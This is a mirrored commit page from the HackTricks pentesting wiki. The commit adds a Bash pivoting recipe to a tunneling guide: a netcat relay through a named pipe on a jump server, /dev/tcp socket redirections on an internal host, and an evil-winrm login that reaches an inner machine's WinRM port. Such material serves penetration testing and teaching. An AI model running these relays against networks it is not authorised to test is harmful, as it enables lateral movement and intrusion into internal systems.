Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 14:08:26 +00:00
Code Issues Projects Releases Packages Wiki Activity

GitBook: [#3317] No subject

Browse source
This commit is contained in:
CPol 2022-07-12 09:09:35 +00:00 • committed by gitbook-bot
parent ff9d45f167
commit 1515caee63
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
1 changed files with 20 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

20
generic-methodologies-and-resources/tunneling-and-port-forwarding.md
View file

@ -23,6 +23,26 @@ _A **digital transformation** tailored to your organization is unique. It also c
{% embed url="https://securityboat.in/contact-us" %}
{% endhint %}
## **Bash**
**Host -> Jump -> InternalA -> InternalB** 
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lp 5985 0<backpipe | nc -lp 3333 1>backpipe
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec3<>/dev/tcp/internalB/5985
exec4<>/dev/tcp/Jump/3333
cat<&3>&4&
cat<&4>&3&
# Fom the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump
```
## **SSH**
SSH graphical connection (X)